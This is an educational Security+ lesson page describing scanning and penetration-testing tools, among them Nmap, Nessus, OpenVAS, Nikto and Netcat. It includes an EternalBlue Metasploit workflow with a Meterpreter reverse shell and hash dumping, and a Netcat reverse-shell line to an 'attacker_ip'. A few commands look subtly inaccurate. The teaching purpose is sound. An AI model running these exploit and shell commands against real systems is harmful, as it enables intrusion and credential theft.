Common Scanning Tools: Nessus, OpenVAS, Nmap
Get hands-on familiarity with industry-standard tools for host discovery, port scanning, and vulnerability identification.
Common Scanning Tools: Nessus, OpenVAS, Nmap is a free Cloud & IT Cert Prep lesson on CoddyKit — lesson 2 of 4. You can read the complete lesson below for free — then practise it hands-on in the browser with a built-in code editor and a 24/7 AI tutor. It is part of the Cloud & IT Cert Prep learning path, one of 4 lessons in the course, and your progress syncs across the web and the CoddyKit app.
The Scanning Tool Ecosystem
Security professionals use a variety of scanning tools for different purposes: host discovery, port scanning, service enumeration, operating system detection, vulnerability identification, and web application testing. Security+ expects familiarity with the most widely used tools in each category. Understanding what each tool does — and what it cannot do — helps you select the right tool for a given task and interpret results correctly. Results from multiple complementary tools provide more complete coverage than any single tool alone.
Nmap: The Network Mapper
Nmap (Network Mapper) is the most widely used open-source tool for network discovery and security auditing. It can discover live hosts, enumerate open ports, detect running services and their versions, and identify the operating system. Nmap uses various scan techniques including SYN scan (the default, fast and relatively stealthy), TCP Connect (full handshake, noisier but doesn't need root), UDP scan, and version scan. It ships with the Nmap Scripting Engine (NSE) which provides hundreds of scripts for vulnerability detection, brute-forcing, and exploitation.
# Common Nmap scan types:
nmap -sS 192.168.1.0/24 # SYN scan (fast, stealthy)
nmap -sT 192.168.1.10 # TCP connect scan
nmap -sU -p 53,67,161 target # UDP scan specific ports
nmap -sV 192.168.1.10 # version detection
nmap -O 192.168.1.10 # OS detection
nmap -A 192.168.1.10 # aggressive: -sV -O -sC --traceroute
nmap -p- 192.168.1.10 # scan all 65535 ports
nmap --script vuln 192.168.1.10 # run vulnerability scriptsNmap Output and Interpretation
Interpreting Nmap output correctly is an essential skill. Each line represents a port with its state (open: service is listening, closed: host responded but nothing is listening, filtered: no response or ICMP unreachable, likely firewalled), protocol, and detected service/version. Open ports represent potential attack surface. Unexpected open ports on a host may indicate compromise or unauthorized services. The -oN, -oX, and -oG flags save output in normal, XML, and grepable formats — saving output is critical for documentation and comparison across scans over time.
# Sample Nmap output:
# PORT STATE SERVICE VERSION
# 22/tcp open ssh OpenSSH 8.2p1 Ubuntu
# 80/tcp open http Apache 2.4.41
# 443/tcp open ssl/http Apache 2.4.41
# 8080/tcp open http Jetty 9.4.39
# 3306/tcp open mysql MySQL 8.0.26
# 3306 open to internet = HIGH RISK (should be internal only)
# Save output:
nmap -sV 192.168.1.0/24 -oN scan_results.txt -oX scan_results.xmlNessus: Enterprise Vulnerability Scanner
Nessus (by Tenable) is the most widely deployed commercial vulnerability scanner. It uses a plugin architecture with 100,000+ plugins covering CVEs, configuration checks, compliance benchmarks (CIS, DISA STIG), and malware detection. Nessus performs credentialed scans by logging into systems with provided credentials to inspect installed software versions, registry keys, and configuration files — producing far more accurate results than uncredentialed network probing. Nessus produces detailed reports with CVSS scores, vulnerability descriptions, and remediation recommendations. The free Nessus Essentials version scans up to 16 IPs.
# Nessus scan configuration key settings:
# Scan type: Advanced Scan (most control)
# Credentials: Windows (domain admin), SSH (root or sudo)
# Plugins: enable 'Safe Checks' to avoid crashing systems
# Schedule: define scan window (off-hours recommended)
# Nessus output rating:
# Critical (CVSS 9.0-10.0): remote code execution, critical data exposure
# High (CVSS 7.0-8.9): privilege escalation, severe data exposure
# Medium (CVSS 4.0-6.9): local privilege escalation, information disclosure
# Low (CVSS 0.1-3.9): minimal impact, hardening issues
# Info: configuration data, no immediate riskOpenVAS: Open-Source Vulnerability Scanning
OpenVAS (Open Vulnerability Assessment System) is a free, open-source vulnerability scanner maintained by Greenbone Networks. It is the community-supported fork of the original Nessus before it went commercial. OpenVAS uses NVTs (Network Vulnerability Tests) analogous to Nessus plugins. The Greenbone Community Edition (GCE) provides a web-based management interface (Greenbone Security Assistant). OpenVAS is popular in environments where licensing costs prevent using commercial tools. It has a broader feature set than Nmap while remaining free, making it a common choice for smaller organizations, academic environments, and security labs.
# OpenVAS quick start:
# Install via Kali Linux or Docker:
gvm-setup # initial setup (takes time to download feeds)
gvm-start # start OpenVAS services
# Create a scan in the web UI (https://localhost:9392):
# 1. Create Target (host IPs, credentials)
# 2. Create Scan Config (Full and Fast, or Full Deep)
# 3. Create Task -> assign target + config
# 4. Start Task -> review Results report
# CLI scan:
openvas-cli --host=127.0.0.1 --user=admin --xml="<start_task>..."Nikto: Web Server Vulnerability Scanner
Nikto is an open-source web server scanner that checks for dangerous files, outdated software versions, server configuration problems, and common web vulnerabilities. It tests for over 6,700 known issues including insecure HTTP methods, missing security headers, exposed admin interfaces, default credentials, and common CGI vulnerabilities. Nikto is noisy and not designed for stealth — it generates significant logs on the target. It complements network-level scanners by providing web-specific checks that Nessus and OpenVAS may not cover in depth. Always use Nikto only on systems you are authorized to test.
# Nikto web scan examples:
nikto -h 192.168.1.10 # basic scan
nikto -h https://192.168.1.10 # HTTPS target
nikto -h 192.168.1.10 -p 8080,8443 # multiple ports
nikto -h 192.168.1.10 -o report.html -Format html # save report
# Nikto checks include:
# - Missing X-Frame-Options, Content-Security-Policy headers
# - Apache/nginx version disclosure
# - /admin, /phpinfo.php, /.git/ exposed
# - Default test files (phpMyAdmin, WebDAV)Metasploit Framework
The Metasploit Framework is the most widely used penetration testing platform, providing a database of exploits, payloads, auxiliary modules, and post-exploitation tools. Security+ candidates should understand what Metasploit is and how it fits into a pen test, even if they have never used it. Metasploit modules include: exploits (code that takes advantage of a vulnerability), payloads (shellcode that runs after successful exploitation, like Meterpreter), auxiliary modules (scanning, fuzzing, enumeration without exploitation), and post modules (for privilege escalation, credential dumping, lateral movement after initial access).
# Metasploit Framework basic workflow:
msfconsole # start Metasploit
search eternalblue # search for exploit
use exploit/windows/smb/ms17_010_eternalblue
info # show exploit details
set RHOSTS 192.168.1.10 # target IP
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.5 # attacker IP
run # execute exploit
# After shell:
meterpreter> sysinfo
meterpreter> getuid
meterpreter> hashdump # dump NTLM hashesNetcat: The Swiss Army Knife
Netcat (nc) is a simple but versatile utility that reads and writes data across network connections using TCP or UDP. It has countless uses in security work: establishing reverse shells from compromised hosts, transferring files across network segments, port scanning, creating simple network listeners for testing, and banner grabbing to identify service versions. Its simplicity and availability on almost every Linux system make it a frequently used tool in both legitimate administration and attacker toolkits, making it an important tool to understand from a detection perspective as well.
# Netcat usage examples:
# Banner grabbing:
nc -v 192.168.1.10 22 # grab SSH banner
nc -v 192.168.1.10 80 # grab HTTP banner
# Port scan:
nc -zv 192.168.1.10 1-1024 2>&1 | grep succeeded
# Reverse shell (attacker listens, victim connects out):
# Attacker: nc -lvnp 4444
# Victim: nc attacker_ip 4444 -e /bin/bash
# File transfer:
# Receiver: nc -lvnp 9999 > received_file.txt
# Sender: nc receiver_ip 9999 < file.txtRecon-ng and OSINT Tools
Recon-ng is a web reconnaissance framework designed for OSINT (Open Source Intelligence) gathering. It uses modules that query public sources — Shodan, Bing, HaveIBeenPwned, DNS records, LinkedIn, WHOIS, and certificate transparency logs — to gather information about a target before any active scanning begins. The reconnaissance phase of a pen test typically starts with OSINT to build a picture of the target's network topology, employee names, email formats, technologies used, and publicly exposed assets. Good OSINT can reveal attack paths that would take much longer to find through active scanning alone.
# OSINT tool chain for reconnaissance:
# 1. WHOIS: domain registration details
whois example.com
# 2. DNS enumeration:
dnsrecon -d example.com -t std
fiercer --domain example.com
# 3. Shodan: internet-facing device search
# shodan search 'org:"Target Corp" port:3389'
# 4. theHarvester: emails, subdomains, names
theharvester -d example.com -l 500 -b google,linkedin
# 5. Certificate transparency:
crt.sh/?q=%.example.com (reveals subdomains via certs)Network Enumeration with Enum4linux
Enum4linux enumerates information from Windows hosts and Samba (Linux SMB) servers using null sessions and MSRPC. It extracts usernames, group memberships, shares, password policies, and workgroup information. During internal pen tests, enum4linux can rapidly reveal the user accounts available for password spraying and the share structure of an environment. Modern Windows versions restrict null session access by default, but poorly configured environments often expose substantial information. Similar capabilities are available in Impacket's samrdump.py and CrackMapExec for authenticated enumeration.
# Enum4linux Windows enumeration:
enum4linux -a 192.168.1.10 # all enumeration
enum4linux -U 192.168.1.10 # users only
enum4linux -S 192.168.1.10 # shares only
# CrackMapExec (authenticated enumeration):
crackmapexec smb 192.168.1.0/24 -u admin -p Password1
crackmapexec smb 192.168.1.10 --users
crackmapexec smb 192.168.1.10 --shares
# Nmap SMB scripts:
nmap --script smb-enum-users 192.168.1.10
nmap --script smb-os-discovery 192.168.1.10Selecting the Right Tool for the Job
Security professionals match tools to tasks. For host discovery and port scanning: Nmap. For vulnerability identification at scale: Nessus (commercial) or OpenVAS (free). For web server vulnerabilities: Nikto. For web application attacks: Burp Suite. For exploitation: Metasploit. For OSINT reconnaissance: Recon-ng, theHarvester, Shodan. For network traffic analysis: Wireshark, tcpdump. For wireless attacks: Aircrack-ng suite. The Security+ exam tests conceptual knowledge of these tools — you should know what each is used for even without hands-on experience with every one.
Quick Check
Test your understanding of CompTIA Security+ (SY0-701) concepts from this lesson.
Lesson Recap
In this lesson you learned: Nmap is the foundation for host discovery, port scanning, and version detection with a rich scripting engine for additional capabilities, Nessus and OpenVAS perform comprehensive vulnerability scanning against known CVEs using credentialed access for greatest accuracy, and Metasploit provides an exploit framework for pen testers to confirm vulnerabilities are actually exploitable and demonstrate real attack impact. Next up we explore the full penetration testing lifecycle from reconnaissance to reporting.
Frequently asked questions
Is the “Common Scanning Tools: Nessus, OpenVAS, Nmap” lesson free?
Yes — the full text of “Common Scanning Tools: Nessus, OpenVAS, Nmap” is free to read here on the web, and the Cloud & IT Cert Prep course includes 4 lessons in total. To practise it interactively (a built-in code editor and a 24/7 AI tutor) and unlock the rest of the Cloud & IT Cert Prep course, upgrade to CoddyKit PRO.
What will I learn in “Common Scanning Tools: Nessus, OpenVAS, Nmap”?
Get hands-on familiarity with industry-standard tools for host discovery, port scanning, and vulnerability identification. You practise Cloud & IT Cert Prep with hands-on code you run directly in the browser, and a 24/7 AI tutor answers your questions as you work through the lesson.
Do I need any experience to start Cloud & IT Cert Prep?
No prior experience is required. Cloud & IT Cert Prep on CoddyKit is structured for beginners through advanced learners; this is — lesson 2 of 4, so you can start here or from the beginning and move at your own pace.
How long does the “Common Scanning Tools: Nessus, OpenVAS, Nmap” lesson take?
Most CoddyKit lessons take about 5–10 minutes. Each one is bite-sized and interactive, so you make steady progress and pick up exactly where you left off across the web and the app.
Can I write and run code in this Cloud & IT Cert Prep lesson?
Yes. Every Cloud & IT Cert Prep lesson includes a built-in code editor, so you write and run real code right in your browser and get instant AI feedback — no local setup required.
All lessons in this course
- Vulnerability Scanning vs Penetration Testing
- Common Scanning Tools: Nessus, OpenVAS, Nmap
- Penetration Testing Phases: Recon to Reporting
- CVSS Scoring and Vulnerability Prioritization